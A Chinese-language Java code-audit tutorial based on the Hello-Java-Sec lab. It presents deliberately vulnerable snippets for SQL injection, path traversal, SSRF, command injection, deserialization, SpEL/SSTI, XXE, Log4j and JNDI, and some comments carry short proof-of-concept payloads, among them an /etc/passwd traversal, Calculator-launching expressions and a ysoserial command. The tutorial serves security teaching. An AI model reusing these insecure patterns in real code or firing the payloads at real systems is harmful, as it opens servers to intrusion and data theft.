Java代碼審計之不安全的Java代碼
Java代碼審計之不安全的Java代碼
在打靶場的同時，需要想一下如果你是開發人員你會怎樣去防禦這種漏洞，而作為攻擊方你又怎麼去繞過開發人員的防禦。
環境搭建
//github.com/j3ers3/Hello-Java-Sec
SQL注入
SQLI(SQL Injection)， SQL注入是因為程序未能正確對用戶的輸入進行檢查，將用戶的輸入以拼接的方式帶入SQL語句，導致了SQL注入的產生。攻擊者可通過SQL注入直接獲取數據庫信息，造成信息泄漏。
SQL注入之JDBC注入
JDBC有兩個方法執行SQL語句，分別是PrepareStatement和Statement。
漏洞代碼：
// 採用原始的Statement拼接語句，導致漏洞產生
public String jdbcVul(String id) {
StringBuilder result = new StringBuilder();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
// 拼接語句產生SQL注入
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("user");
String res_pass = rs.getString("pass");
String info = String.format("查詢結果 %s: %s", res_name, res_pass);
result.append(info);
}
漏洞代碼二：
// PrepareStatement會對SQL語句進行預編譯，但有時開發者為了便利，直接採取拼接的方式構造SQL，此時進行預編譯也無用。
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println("[*] 執行SQL語句：" + st);
ResultSet rs = st.executeQuery();
SQL注入之MyBatis
MyBatis框架底層已經實現了對SQL注入的防禦，但存在使用不當的情況下，仍然存在SQL注入的風險。
漏洞代碼：
// 此漏洞出現頻率較高並且很嚴重！
// 為何產生：由於使用 #{} 會將對象轉成字符串，形成 order by "user" desc 造成錯誤，因此很多研發會採用${}來解決，從而造成SQL注入
// 點擊運行可通過報錯語句獲取數據庫user
@RequestMapping("/mybatis/vul/order")
public List<User> orderBy(String field, String sort) {
return userMapper.orderBy(field, sort);
}
// mapper.xml語句
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
漏洞代碼二：
// 模糊搜索時，直接使用'%#{q}%' 會報錯，部分研發圖方便直接改成'%${q}%'從而造成注入
@Select("select * from users where user like '%${q}%'")
List<User> search(String q);
// 安全代碼,採用concat
@Select("select * from users where user like concat('%',#{q},'%')")
List<User> search(String q);
文件上傳
文件上傳漏洞，是指用戶上傳了一個可執行的腳本文件(如jsp\php\asp)，並通過此腳本文件獲得了執行服務器端命令的能力。常見場景是web服務器允許用戶上傳圖片或者普通文本文件保存，這種漏洞屬於低成本高殺傷力
漏洞代碼：
// 允許上傳任意文件導致的安全風險
public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
try {
byte[] bytes = file.getBytes();
Path dir = Paths.get(UPLOADED_FOLDER);
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message","上傳文件成功：" + path + "");
} catch (Exception e) {
return e.toString();
}
return "redirect:upload_status";
}
目錄遍歷
目錄遍歷, 應用系統在處理下載文件時未對文件進行過濾，系統後台程序程序中如果不能正確地過濾客戶端提交的../和./之類的目錄跳轉符，攻擊者可以通過輸入../進行目錄跳轉，從而下載、刪除任意文件。
// 文件路徑沒做限制，通過../遞歸下載任意文件
// PoC：/Traversal/download?filename=../../../../../../../etc/passwd
@GetMapping("/download")
public String download(String filename, HttpServletRequest request, HttpServletResponse response) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
try {
File file = new File(filePath);
InputStream is = new BufferedInputStream(new FileInputStream(file));
byte[] buffer = new byte[is.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + filename);
response.addHeader("Content-Length", "" + file.length());
OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
toClient.write(buffer);
toClient.flush();
toClient.close();
return "下載文件成功：" + filePath;
XSS
XSS(Cross Site Scripting) 跨站腳本攻擊，攻擊者插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
漏洞代碼：
// 簡單的反射型XSS，沒對輸出做處理。當攻擊者輸入惡意js語句時可觸發
@GetMapping("/reflect")
public static String input(String content) {
return content;
}
SSRF
SSRF(Server-Side Request Forgery) 服務器端請求偽造，是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。
漏洞代碼:
// url參數沒做限制，可調用URLConnection發起任意請求，比如請求內網，或使用file等協議讀取文件
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
漏洞代碼二：
// SSRF修復經常碰到的問題，雖然過濾了內網地址，但通過短鏈接跳轉的方式可以繞過
public String URLConnectionSafe(String url) {
if (!Security.is_http(url)){
return "不允許非http/https協議!!!";
}else if (Security.isIntranet(url)) {
return "不允許訪問內網!!!";
}else{
return Http.URLConnection(url);
}
}
遠程代碼執行
RCE (Remote Code Execution), 遠程代碼執行漏洞，這裡包含兩種類型漏洞:
- 命令注入（Command Injection），在某種開發需求中，需要引入對系統本地命令的支持來完成特定功能，當未對輸入做過濾時，則會產生命令注入
- 代碼注入（Code Injection），在正常的java程序中注入一段java代碼並執行，即用戶輸入的數據當作java代碼進行執行。
漏洞代碼：
// 功能是利用ProcessBuilder執行ls命令查看文件，但攻擊者通過拼接; & |等連接符來執行自己的命令。
@RequestMapping("/ProcessBuilder")
public static String cmd(String filepath) {
String[] cmdList = {"sh", "-c", "ls -l " + filepath};
StringBuilder sb = new StringBuilder();
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
...
漏洞代碼二：
// getRuntime()常用於執行本地命令，使用頻率較高。
@RequestMapping("/runtime")
public static String cmd2(String cmd) {
StringBuilder sb = new StringBuilder();
try {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
...
漏洞代碼三：
// 通過加載遠程js文件來執行代碼，如果加載了惡意js則會造成任意命令執行
// 遠程惡意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// 
在Java 8之後移除了ScriptEngineManager的eval
public void jsEngine(String url) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
}
漏洞代碼四：
// 不安全的使用Groovy調用命令
import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
}
漏洞代碼五：
// ProcessImpl是更為底層的實現，Runtime和ProcessBuilder執行命令實際上也是調用了ProcessImpl這個類
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(null, new String[]{cmd}, null, null, null, false);
不安全的反序列化
反序列化漏洞，當輸入的反序列化的數據可被用戶控制，那麼攻擊者即可通過構造惡意輸入，讓反序列化產生非預期的對象，在此過程中執行構造的任意代碼（多見於第三方組件產生的漏洞）
漏洞代碼：
// readObject，讀取輸入流,並轉換對象。ObjectInputStream.readObject() 方法的作用正是從一個源輸入流中讀取位元組序列，再把它們反序列化為一個對象。
// payload：java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
public String cc(String base64) {
try {
BASE64Decoder decoder = new BASE64Decoder();
base64 = base64.replace(" ", "+");
byte[] bytes = decoder.decodeBuffer(base64);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 反序列化流，將序列化的原始數據恢復為對象
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return "反序列化漏洞";
} catch (Exception e) {
return e.toString();
}
}
漏洞代碼二：
// 遠程服務器支持用戶可以輸入yaml格式的內容並且進行數據解析，沒有做沙箱，黑名單之類的防控
public void yaml(String content) {
Yaml y = new Yaml();
y.load(content);
}
漏洞代碼三：
// Java RMI Registry 反序列化漏洞，受jdk版本影響，< = jdk8u111
public String rmi() {
try {
Registry registry = LocateRegistry.createRegistry(9999);
} catch (Exception e) {
e.printStackTrace();
}
return "開啟RMI監聽，端口：9999";
}
失效的身份認證
失效的身份認證，通過錯誤使用應用程序的身份認證和會話管理功能，攻擊者能夠破譯密碼、密鑰或會話令牌，或者利用其它開發缺陷來暫時性或永久性冒充其他用戶的身份。
表達式注入
SpEL（Spring Expression Language）表達式注入, 是一種功能強大的表達式語言、用於在運行時查詢和操作對象圖，由於未對參數做過濾可造成任意命令執行。
漏洞代碼：
// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
@GetMapping("/vul")
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
String result = parser.parseExpression(ex).getValue().toString();
System.out.println(result);
return result;
}
XML外部實體注
XXE (XML External Entity Injection), XML外部實體注入，當開發人員配置其XML解析功能允許外部實體引用時，攻擊者可利用這一可引發安全問題的配置方式，實施任意文件讀取、內網端口探測、命令執行、拒絕服務等攻擊。
漏洞代碼：
@RequestMapping(value = "/XMLReader")
public String XMLReader(@RequestBody String content) {
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修復：禁用外部實體
// xmlReader.setFeature("//apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
漏洞代碼二：
// SAXReader
SAXReader sax = new SAXReader();
// 修復：禁用外部實體
// sax.setFeature("//apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
漏洞代碼三：
// SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder();
// 修復: saxbuilder.setFeature("//apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content)));
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
越權訪問
失效的訪問控制（Broken Access Control），應用在檢查授權時存在紕漏，使得攻擊者在獲得低權限用戶賬戶後，利用一些方式繞過權限檢查，訪問或者操作其他用戶或者更高權限。越權漏洞的成因主要是因為開發人員在對數據進行增、刪、改、查詢時對客戶端請求的數據過分相信而遺漏了權限的判定，一旦權限驗證不充分，就易致越權漏洞。
漏洞代碼：
// 未做權限控制，通過遍歷name參數可查詢任意用戶信息
@GetMapping("/vul/info")
public List<User> vul(String name) {
return userMapper.queryByUser(name);
}
接口未授權訪問
接口未授權訪問（Unauthorized Access），在不進行請求授權的情況下，能夠直接對相應的業務邏輯功能進行訪問、操作等。通常是由於認證頁面存在缺陷或者無認證、安全配置不當等導致的。
漏洞代碼：
// 對部分接口未做鑒權攔截，導致可未授權訪問
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new LoginHandlerInterceptor())
.addPathPatterns("/**")
.excludePathPatterns("/Unauth/**", "/css/**", "/js/**", "/img/**");
}
SSTI模板注入
SSTI(Server Side Template Injection) 服務器模板注入, 服務端接收了用戶的輸入，將其作為 Web 應用模板內容的一部分，在進行目標編譯渲染的過程中，執行了用戶插入的惡意內容。
漏洞代碼：
/**
* 將請求的url作為視圖名稱，調用模板引擎去解析
* 在這種情況下，我們只要可以控制請求的controller的參數，一樣可以造成RCE漏洞
* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
System.out.println(document);
}
漏洞組件
組件中存在的漏洞
XStream反序列化
XStream是一個簡單的基於Java庫，Java對象序列化到XML，歷史上存在多個反序列化漏洞。
漏洞代碼：
public String vul(@RequestBody String content) {
XStream xs = new XStream();
xs.fromXML(content);
return "XStream Vul";
}
Fastjson反序列化
fastjson是阿里巴巴的開源JSON解析庫，它可以解析JSON格式的字符串，支持將Java Bean序列化為JSON字符串，也可以從JSON字符串反序列化到JavaBean，歷史上存在多個反序列化漏洞。
// 使用了低版本，存在漏洞
// poc: {"@type":"java.net.Inet4Address","val":"8d5tv8.dnslog.cn"}
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Jackson反序列化
Jackson是一套開源的java序列化與反序列化工具框架，可將java對象序列化為xml和json格式的字符串並提供對應的反序列化過程。由於其解析效率較高，Jackson目前是Spring MVC中內置使用的解析方式。
漏洞代碼：
public void vul() {
try {
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
} catch (Exception e) {
e.printStackTrace();
}
}
Log4j2反序列化
Apache Log4j2是一款優秀的Java日誌框架。此次漏洞是由 Log4j2 提供的lookup功能造成的，該功能允許開發者通過一些協議去讀取相應環境中的配置。但在處理數據時，並未對輸入（如${jndi）進行嚴格的判斷，從而造成JNDI注入
漏洞代碼：
// log4j-core < 2.15.0-rc1
public String vul(String content) {
logger.error(content);
return "Log4j2 RCE";
}
shiro反序列化
其他漏洞
其他的一些漏洞
開放重定向
開放重定向漏洞，是指後台服務器在告知瀏覽器跳轉時,未對客戶端傳入的重定向地址進行合法性校驗,導致用戶瀏覽器跳轉到釣魚頁面的一種漏洞
出現場景：用戶登錄、統一身份認證等需要跳轉的地方
漏洞代碼：
// 滿足參數url可控，且未做限制
public String vul(String url) {
return "redirect:" + url;
}
Actuator未授權訪問
Actuator, 是Spring Boot提供的服務監控和管理中間件，默認配置會出現接口未授權訪問，部分接口會泄露網站流量信息和內存信息等，使用Jolokia庫特性甚至可以遠程執行任意代碼，獲取服務器權限。
漏洞代碼：
# 不安全的配置：Actuator設置全部暴露
management.endpoints.web.exposure.include=*
IP地址偽造
X-Forwarded-For地址偽造，很多Web應用需要獲取用戶的IP，通過IP偽造可以繞過一些安全限制。
漏洞代碼：
public static String vul(HttpServletRequest request) {
String ip2 = request.getHeader("X-Forwarded-For");
if(!Objects.equals(ip2, "127.0.0.1")) {
return "禁止訪問，只允許本地IP！";
} else {
return "success，你的IP：" + ip2;
}
}
Swagger未授權訪問
Swagger未開啟頁面訪問限制，Swagger未開啟嚴格的Authorize認證。
CORS
CORS(Cross-origin resource sharing),即跨域資源共享，用於繞過SOP（同源策略）來實現跨域資源訪問的一種技術。 CORS漏洞則是利用CORS技術竊取用戶敏感數據，CORS漏洞的成因是服務端配置的規則不當所導致的，服務器端沒有配置Access-Control-Allow-Origin等字段
漏洞代碼：
public String corsVul(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");
return "cors vul";
}
JNDI注入
Java命名和目錄接口（JNDI）是一種Java API，類似於一個索引中心，它允許客戶端通過name發現和查找數據和對象。JNDI注入就是當上文代碼中jndiName這個變量可控時，引發的漏洞，它將導致遠程class文件加載，從而導致遠程代碼執行。
漏洞代碼：
// lookup是通過名字檢索執行的對象，當lookup()方法的參數可控時，攻擊者便能提供一個惡意的url地址來加載惡意類。
Context ctx = new InitialContext();
ctx.lookup(url);
DoS漏洞
DoS是Denial of Service的簡稱，即拒絕服務，造成DoS的攻擊行為被稱為DoS攻擊，其目的是使計算機或網絡無法提供正常的服務。
漏洞代碼：
// Pattern.matches造成的ReDoS
// PoC: vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
public String vul(String content) {
boolean match = Pattern.matches("(a|aa)+", content);
return String.format("正則匹配：%s，正則表達式拒絕服務攻擊", match);
}
驗證碼復用
驗證碼反覆利用，可以直接進行暴力破解。（這是一類常見的安全問題）
一般來說，驗證碼是與Session綁定的，Session生成時，也伴隨着驗證碼的生成和綁定，在訪問頁面時，接口的請求和驗證碼的生成通常是異步進行的，這使得兩個功能變得相對獨立。也就意味着我們如果僅請求接口，而不觸發驗證碼的生成，那麼驗證碼就不會變化。 並且在考慮安全時，開發人員的關注點往往在 驗證碼校驗 是否通過，通過則進入業務流程，不通過則重新填寫，而忽視了這個用戶是否按照既定的業務流程在走（接口訪問與驗證碼生成是否同時進行），驗證碼是否被多次使用了。
漏洞代碼：
// 未清除session中的驗證碼，導致可復用
if (!CaptchaUtil.ver(captcha, request)) {
model.addAttribute("msg", "驗證碼不正確");
return "login";
}
饅頭出品
